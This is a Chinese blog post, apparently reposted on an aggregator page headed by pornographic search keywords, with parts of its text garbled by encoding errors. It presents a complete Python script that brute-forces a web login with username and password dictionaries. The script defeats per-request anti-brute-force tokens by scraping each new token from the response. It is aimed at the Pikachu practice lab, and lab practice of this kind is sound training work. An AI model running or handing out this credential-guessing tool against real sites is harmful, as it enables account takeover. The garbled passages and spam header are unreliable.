日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程语言 > python >内容正文

python

Python脚本猜解网站登录密码(带token验证)

發(fā)布時(shí)間:2024/3/26 python 34 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Python脚本猜解网站登录密码(带token验证) 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

目錄:

      • 關(guān)鍵代碼解釋
        • 設(shè)置請求頭
        • get_token函數(shù)獲取token值
      • 完整代碼:
      • 運(yùn)行結(jié)果:

上一篇文章:一個(gè)簡單的Python暴力破解網(wǎng)站登錄密碼腳本

測試靶機(jī)為Pikachu漏洞練習(xí)平臺暴力破解模塊下的 “token防爆破?”

春節(jié)期間歇了一陣子,吃睡玩看小說。寫這個(gè)腳本的起因是因?yàn)閎urp設(shè)置帶token的暴力破解我只會用pitchfork草叉模式,要是用cluster bomb集束炸彈模式笛卡兒積那樣就不會了,所以就干脆把之前寫的腳本加了點(diǎn)東西實(shí)現(xiàn)這個(gè)功能了,到時(shí)候有空再學(xué)學(xué)多線程,爆破速度就更快了。

關(guān)鍵代碼解釋

設(shè)置請求頭

5~11行:指定url地址和請求頭,user_token設(shè)置首次發(fā)送請求包時(shí)的token值。

url = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php" user_token = '8680761fe979039a6f836599906' header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0','Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715' }

get_token函數(shù)獲取token值

13~16行:這個(gè)函數(shù)返回從響應(yīng)包中獲取的token

在http響應(yīng)包中有一個(gè)隱藏的標(biāo)簽里面有token值:

<input type="hidden" name="token" value="5874161fe8db950ca7993759020" />

第15行:soup.select查找標(biāo)簽名為input,name為token的元素的value的值。

def get_token(r):soup = BeautifulSoup(r.text, 'html.parser')user_token = soup.select('input[name="token"]')[0]['value']return user_token

完整代碼:

from bs4 import BeautifulSoup import requests from requests.models import Responseurl = "http://192.168.171.30/pikachu/vul/burteforce/bf_token.php" user_token = '8680761fe979039a6f836599906' #proxies = {"http": "http://127.0.0.1:8080"} # 代理設(shè)置,方便burp抓包查看和調(diào)試 header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0','Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715' }def get_token(r):soup = BeautifulSoup(r.text, 'html.parser')user_token = soup.select('input[name="token"]')[0]['value']return user_tokenif __name__ == "__main__":f = open('result.csv', 'w') #把爆破結(jié)果儲存到文件里,這里為csv格式f.write('用戶名' + ',' + '密碼' + ',' + '包長度' + '\n') #給文件設(shè)置標(biāo)題#遍歷字典文件,Cluster bomb 暴力破解for admin in open("C:\\Users\\admin\\Documents\\字典\\賬號.txt"):for line in open("C:\\Users\\admin\\Documents\\字典\\密碼.txt"):username = admin.strip()password = line.strip()payload = { #payload為POST的數(shù)據(jù)'username': username,'password': password,'token': user_token,'submit': 'Login'}Response = requests.post(url, data=payload, headers=header)result = username + ',' + password + ',' + str(len(Response.text)) #用戶名密碼以及響應(yīng)包長度print(result) #輸出到終端f.write(result + '\n') #輸出到文件user_token = get_token(Response) #調(diào)用get_token函數(shù)獲取下一次循環(huán)需要的tokenprint('\n---完成---\n')f.close()

運(yùn)行結(jié)果:

查看保存的文件,查看包長度與其他不一樣的數(shù)據(jù)

這里csv不會顯示前綴會自動(dòng)去掉首位0,可以把文件改成txt格式就正常顯示了


嘗試登陸一下,登錄成功。

總結(jié)

以上是生活随笔為你收集整理的Python脚本猜解网站登录密码(带token验证)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。